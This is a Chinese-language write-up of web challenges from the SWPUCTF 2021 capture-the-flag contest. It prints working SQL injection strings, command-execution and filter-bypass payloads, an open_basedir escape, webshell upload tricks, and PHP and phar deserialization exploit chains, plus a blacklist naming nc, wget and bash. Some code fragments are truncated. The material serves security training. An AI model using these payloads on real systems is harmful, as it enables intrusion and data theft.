[SWPUCTF 2021 新生赛] web

目录

gift_F12

caidao 

 jicao

 easy_md5 

easy_sql  

easyrce

babyrce

ez_unserialize

include

 no_wakeup 

Do_you_know_http

easyupload1.0 

 easyupload2.0 

easyupload3.0

  error 

hardrce 无数字字母rce

hardrce_3 无数字字母rce

finalrce 无回显rce  

PseudoProtocols 伪协议 

pop 

sql 

Baby_Web   变量覆盖

babyunser  phar反序列化

SimplePHP  phar反序列化

文件查看器 phar反序列化


gift_F12

源码目录找flag

caidao 

简单的rce

[SWPUCTF 2021 新生赛] web_第1张图片

[SWPUCTF 2021 新生赛] web_第2张图片 

 jicao

json字符串例子 

[SWPUCTF 2021 新生赛] web_第3张图片

json['x']=wllm  的json格式是 {"x":"wllm"}

[SWPUCTF 2021 新生赛] web_第4张图片 

 easy_md5 

if ($name != $password && md5($name) == md5($password)){
        echo $flag;
    }

数组绕过 

name[]=1

password[]=2

easy_sql  

[SWPUCTF 2021 新生赛] web_第5张图片

/?wllm=-1' union select 1,2,3--+ 

/?wllm=-1' union select 1,2,database()--+

/?wllm=-1' union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database())--+

/?wllm=-1' union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name='test_tb')--+

/?wllm=-1' union select 1,2,(select group_concat(flag)from test_tb)--+

easyrce

if(isset($_GET['url']))
{
eval($_GET['url']);
/?url=system('cat /fl*');

babyrce

[SWPUCTF 2021 新生赛] web_第6张图片

 [SWPUCTF 2021 新生赛] web_第7张图片

 

if (isset($_GET['url'])) {
  $ip=$_GET['url'];
  if(preg_match("/ /", $ip)){
      die('nonono');
  }
  $a = shell_exec($ip);
  echo $a;

就是过滤空格,rce时候不能ls / 

${IFS} 代替空格

/rasalghul.php?url=cat${IFS}/fl*

 

ez_unserialize

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

简单构造 

admin ="admin";
        $this->passwd = "ctf";
    }
}

$p = new wllm();
echo serialize($p);

include

[SWPUCTF 2021 新生赛] web_第8张图片

[SWPUCTF 2021 新生赛] web_第9张图片 

filter 伪协议

[SWPUCTF 2021 新生赛] web_第10张图片 

 no_wakeup 


class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

修改属性个数绕__wakeup()

O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

改成

O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

 

Do_you_know_http

使用WLLM浏览器 

bp抓包修改UA 

 [SWPUCTF 2021 新生赛] web_第11张图片

[SWPUCTF 2021 新生赛] web_第12张图片 

[SWPUCTF 2021 新生赛] web_第13张图片 

easyupload1.0 

[SWPUCTF 2021 新生赛] web_第14张图片

Content-Type 修改 

直接蚁剑

真的flag在phpinfo()中 

 easyupload2.0 

图片马上传进去,改名phtml 

蚁剑连

easyupload3.0

.htaccess 解析图片马

[SWPUCTF 2021 新生赛] web_第15张图片

 [SWPUCTF 2021 新生赛] web_第16张图片

 

  error 

报错注入

?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+  

?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)--+ 

?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='test_tb' limit 1,1),0x7e),1)--+ 

这里涉及到flag显示一半的问题

?id=1' and updatexml(1,concat(0x7e,(select flag from test_tb),0x7e),1)--+ 
?id=1' and updatexml(1,concat(0x7e,(select right(flag,30) from test_tb),0x7e),1)--+

hardrce 无数字字母rce

if(isset($_GET['wllm']))
{
    $wllm = $_GET['wllm'];
    $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {
        die("LTLT说不能用这些奇奇怪怪的符号哦!");
    }}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
    die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}

无字母数字rce 

能过虑的都过虑了,发现~没有过虑,可以进行取反

RCE篇之无数字字母rce - 学安全的小白 - 博客园 

php取反rce的脚本:

 [SWPUCTF 2021 新生赛] web_第17张图片

[SWPUCTF 2021 新生赛] web_第18张图片 

hardrce_3 无数字字母rce

if(isset($_GET['wllm']))
{
    $wllm = $_GET['wllm'];
    $blacklist = [' ','\^','\~','\|'];
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {
        die("小伙子只会异或和取反?不好意思哦LTLT说不能用!!");
    }}
if(preg_match('/[a-zA-Z0-9]/is',$wllm))
{
    die("Ra'sAlGhul说用字母数字是没有灵魂的!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}

这里取反~不能用了 

用自增  无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)_yu22x的博客-CSDN博客_绕过正则表达式

//测试发现7.0.12以上版本不可使用
//使用时需要url编码下
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
固定格式 构造出来的 assert($_POST[_]);
然后post传入   _=phpinfo();

[SWPUCTF 2021 新生赛] web_第19张图片

发现system,exec,shell_exec,popen,proc_open,passthru被禁用 ,同时设置了open_basedir,无法看到文件

但是可以用file_put_contents(,)

_=file_put_contents('1.php',"'); mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); echo file_get_contents('/flag'); print(1);?> ");

访问1.php

[SWPUCTF 2021 新生赛] web_第20张图片

finalrce 无回显rce  

if(isset($_GET['url']))
{
    $url=$_GET['url'];
    if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
    {
        echo "Sorry,you can't use this.";
    }
    else
    {
        echo "Can you see anything?";
        exec($url);
    }

没有过滤|这个符号,然后exec执行是没有回显的,这个题目是需要用linux的一个命令,”tee“将想要执行的命令写入到一个文件里面,然后再去访问这个文件,以此来执行这个命令。

过滤了ls 可以用l\s 来代替

然后访问1.txt

[SWPUCTF 2021 新生赛] web_第21张图片

/?url=tac /flllll\aaaaaaggggggg | tee 2.txt

PseudoProtocols 伪协议 

filter协议读 

/index.php?wllm=php://filter/convert.base64-encode/resource=hint.php

 [SWPUCTF 2021 新生赛] web_第22张图片

$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
    echo "success\n";
    echo $flag;

data 协议写入内容 

/test2222222222222.php?a=data://text/plain,I want flag

pop 

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

就三个类,__destruct入口 调用__toString() , echo是针对字符串的

__toString()去调用Getflag(),也就是 $this->w22m=Getflag

序列化链

admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$a=new w44m();
$b=new w22m();
$c=new w33m();

$b->w00m=$c;
$c->w00m=$a;
$c->w22m="Getflag";

echo urlencode(serialize($b));

有私有属性一定要url编码一下

sql 

有waf ,fuzz一下

[SWPUCTF 2021 新生赛] web_第23张图片

 这些都过滤了,主要是空格 = ban了 

空格用/**/,=用like  ,然后--+ 和 #不能用,%23 来闭合

payload:

/?wllm=-1'/**/union/**/select/**/1,2,database()%23

/?wllm=-1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()%23

/?wllm=-1'/**/union/**/select/**/1,2,group_concat(flag)/**/from/**/LTLT_flag%23

读flag字段时,值显示出一半的flag,right,left,substr都过滤了,可以考虑用mid 

/?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(flag),20,40)/**/from/**/LTLT_flag%23

Baby_Web   变量覆盖

CVE-2021-41773

简单来说: 检测路径中是否存在%字符,并且如果%后面的两个字符是十六进制字符,就会对后面的两个字符进行url解码转化,如路径中有%2e./,则会解码为../,转换后判断是否存在../,加入路径中使用.%2e/则能绕过,导致目录穿越漏洞,因为当遍历到第一个.时,后面两个字符是%2并不是./,就不会被处理,绕过检测。

 目录穿越 ,dirsearch能扫到  

[SWPUCTF 2021 新生赛] web_第24张图片

[SWPUCTF 2021 新生赛] web_第25张图片

 [SWPUCTF 2021 新生赛] web_第26张图片

display($_GET['filename']);

?>

还有个Class.php

'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
    private $template;
    public function __construct($data){

        $this->date = array_merge($this->date,$data);
    }
    public function getTempName($template,$dir){
        if($dir === 'admin'){
            $this->template = str_replace('..','','./template/admin/'.$template);
            if(!is_file($this->template)){
                die("no!!");
            }
        }
        else{
            $this->template = './template/index.html';
        }
    }
    public function display($template,$space=''){

        extract($this->date);
        $this->getTempName($template,$space);
        include($this->template);
    }
    public function listdata($_params){
        $system = [
            'db' => '',
            'app' => '',
            'num' => '',
            'sum' => '',
            'form' => '',
            'page' => '',
            'site' => '',
            'flag' => '',
            'not_flag' => '',
            'show_flag' => '',
            'more' => '',
            'catid' => '',
            'field' => '',
            'order' => '',
            'space' => '',
            'table' => '',
            'table_site' => '',
            'total' => '',
            'join' => '',
            'on' => '',
            'action' => '',
            'return' => '',
            'sbpage' => '',
            'module' => '',
            'urlrule' => '',
            'pagesize' => '',
            'pagefile' => '',
        ];

        $param = $where = [];

        $_params = trim($_params);

        $params = explode(' ', $_params);
        if (in_array($params[0], ['list','function'])) {
            $params[0] = 'action='.$params[0];
        }
        foreach ($params as $t) {
            $var = substr($t, 0, strpos($t, '='));
            $val = substr($t, strpos($t, '=') + 1);
            if (!$var) {
                continue;
            }
            if (isset($system[$var])) { 
                $system[$var] = $val;
            } else {
                $param[$var] = $val; 
            }
        }
        // action
        switch ($system['action']) {

            case 'function':

                if (!isset($param['name'])) {
                    return  'hacker!!';
                } elseif (!function_exists($param['name'])) {
                    return 'hacker!!';
                }

                $force = $param['force'];
                if (!$force) {
                    $p = [];
                    foreach ($param as $var => $t) {
                        if (strpos($var, 'param') === 0) {
                            $n = intval(substr($var, 5));
                            $p[$n] = $t;
                        }
                    }
                    if ($p) {

                        $rt = call_user_func_array($param['name'], $p);
                    } else {
                        $rt = call_user_func($param['name']);
                    }
                    return $rt;
                }else{
                    return null;
                }
            case 'list':
                return json_encode($this->date);
        }
        return null;
    }
}

[GFCTF 2021]Baby_Web(复现)_M1kael的博客-CSDN博客

可以看到在index.php中get传参
它对我们传参的值进行display方法 

public function display($template,$space=''){

        extract($this->date);
        $this->getTempName($template,$space);
        include($this->template);
    }

然后经过extract,再进行getTempName方法

 public function getTempName($template,$dir){
        if($dir === 'admin'){
            $this->template = str_replace('..','','./template/admin/'.$template);
            if(!is_file($this->template)){
                die("no!!");
            }
        }

这里给了个目录/template/admin/
我们试着直接访问一下

[SWPUCTF 2021 新生赛] web_第27张图片

我们会发现 它会调用listdata方法
然后我们在listadta方法中发现危险函数 

$rt = call_user_func_array($param['name'], $p);
$rt = call_user_func($param['name']);

利用 call_user_func()

 我们要调用这个函数,我们需要调用listdata方法,要这个listdata方法就需要进入template/admin/index.html这个页面,就需要先让dir === ‘admin’,所以就是让space=admin,然后$template=index.html,就是filename=index.html,但是调用listdata方法 我们也需要传参mod变量

审代码

$_params = trim($_params);//删除两侧多余的空格
$params = explode(' ', $_params);//以空格分隔成数组
        if (in_array($params[0], ['list','function'])) {
            $params[0] = 'action='.$params[0];
        }
        foreach ($params as $t) {//遍历新⽣成的数组 
            $var = substr($t, 0, strpos($t, '='));//key
            $val = substr($t, strpos($t, '=') + 1);//value
            if (!$var) {
                continue;
            }
            if (isset($system[$var])) {
                $system[$var] = $val;
            } else {
                $param[$var] = $val;//数组定义
            }
        }

数组定义 

switch ($system['action']) {//把key为action的值来比较

            case 'function':

                if (!isset($param['name'])) {//必须有key为name
                    return  'hacker!!';
                } elseif (!function_exists($param['name']))//还必须被定义
                 {
                    return 'hacker!!';
                }

                $force = $param['force'];
                if (!$force) {
                    $p = [];//我们只需要这一步定义
                    foreach ($param as $var => $t) {
                        if (strpos($var, 'param') === 0) {
                            $n = intval(substr($var, 5));
                            $p[$n] = $t;
                        }
                    }
                  if ($p) {
                       $rt = call_user_func_array($param['name'], $p);
                    } else {
                        $rt = call_user_func($param['name']);//利用的key为name的value值
                    }

payload:

URL?filename=index.html

(POST)space=admin&mod=123 action=function name=phpinfo

[SWPUCTF 2021 新生赛] web_第28张图片

babyunser  phar反序列化

尝试上传,自动解析成txt文件 

[SWPUCTF 2021 新生赛] web_第29张图片

[SWPUCTF 2021 新生赛] web_第30张图片

 文件查看可以查到源码 

read.php

getFile();
?>

upload.php

class.php

name='aa';
    }

    public function __destruct(){
        $this->name=strtolower($this->name);
    }
}

class ff{
    private $content;
    public $func;

    public function __construct(){
        $this->content="\";
    }

    public function __get($key){
        $this->$key->{$this->func}($_POST['cmd']);
    }
}

class zz{
    public $filename;
    public $content='surprise';

    public function __construct($filename){
        $this->filename=$filename;
    }

    public function filter(){
        if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
            die('这不合理');
        }
    }

    public function write($var){
        $filename=$this->filename;
        $lt=$this->filename->$var;
        //此功能废弃,不想写了
    }

    public function getFile(){
        $this->filter();
        $contents=file_get_contents($this->filename);
        if(!empty($contents)){
            return $contents;
        }else{
            die("404 not found");
        }
    }

    public function __toString(){
        $this->{$_POST['method']}($_POST['var']);
        return $this->content;
    }
}

class xx{
    public $name;
    public $arg;

    public function __construct(){
        $this->name='eval';
        $this->arg='phpinfo();';
    }

    public function __call($name,$arg){
        $name($arg[0]);
    }
}

顺着魔术方法构造 

poc

name = new zz();
    }
}

class ff{
    private $content;
    public $func = "assert";
    function __construct(){
        $this->content = new xx();
    }
}

class zz{
    public $filename;
    public $content='surprise';
    function __construct(){
        $this->filename = new ff();
    }

}

class xx{
    public $name;
    public $arg;
}

$a = new aa();
echo urlencode(serialize($a));

# 下面这部分就没改
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub(""); //设置stub

$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

 生成phar文件 上传进去 

然后在read.php 这里post[SWPUCTF 2021 新生赛] web_第31张图片

 

SimplePHP  phar反序列化

查看文件这里可以看到源码 

[SWPUCTF 2021 新生赛] web_第32张图片

[SWPUCTF 2021 新生赛] web_第33张图片

file.php ,提供了get传参

There is no file to show!

"; } $show = new Show(); if(file_exists($file)) { $show->source = $file; $show->_show(); } else if (!empty($file)){ die('file doesn\'t exists.'); } ?>

 主要看

class.php

str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

Test类:
创建对象时$params转化为数组,当调用未定义的属性或没有权限访问的属性时__get方法触发,调用get函数,get函数的$key传递给file_get函数的$valuefile_get函数再将$value经过file_get_contents函数处理和base64编码传递给$test并输出。

分析完我们应当是想通过file_get_content来读取我们想要的文件,也就是调用file_get函数,之前分析得知__get->get->file_get,所以关键是触发__get方法,那么就要外部访问一个Test类没有或不可访问的属性,我们注意到前面Show类的__tostring方法

    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }

问对象的souce属性,而Test类中是没有这个属性的,让它来访问Test即可触发__get方法,那么现在的问题变成了__tostring的触发,看C1e4r类中的__destruct ,echo出test正好可以触发__tostring


整个pop链就是C1e4r::destruct() -> Show::toString() -> Test::__get()

str = $b;
$b->str['str'] = $c;
$c->params['source'] = "/var/www/html/f1ag.php";

@unlink('test.phar');

$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('');
$phar->setMetadata($a);//链子以$a为起点
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>

根据上传功能的源码phar文件要改名,然后访问upload目录

[SWPUCTF 2021 新生赛] web_第34张图片

[SWPUCTF 2021 新生赛] web_第35张图片

 以phar协议读取

[SWPUCTF 2021 新生赛] web_第36张图片

文件查看器 phar反序列化

这题有点难啊

WP篇之解析GFCTF---文件查看器 | Arsene.Tang

admin , admin 登录进去 

www.zip源码泄露

Files.class.php

log();
        }
        
        public function read(){
            include("view/file.html");
            if(isset($_POST['file'])){
                $this->filename=$_POST['file'];
            }else{
                die("请输入文件名");
            }
            $contents=$this->getFile();
            echo '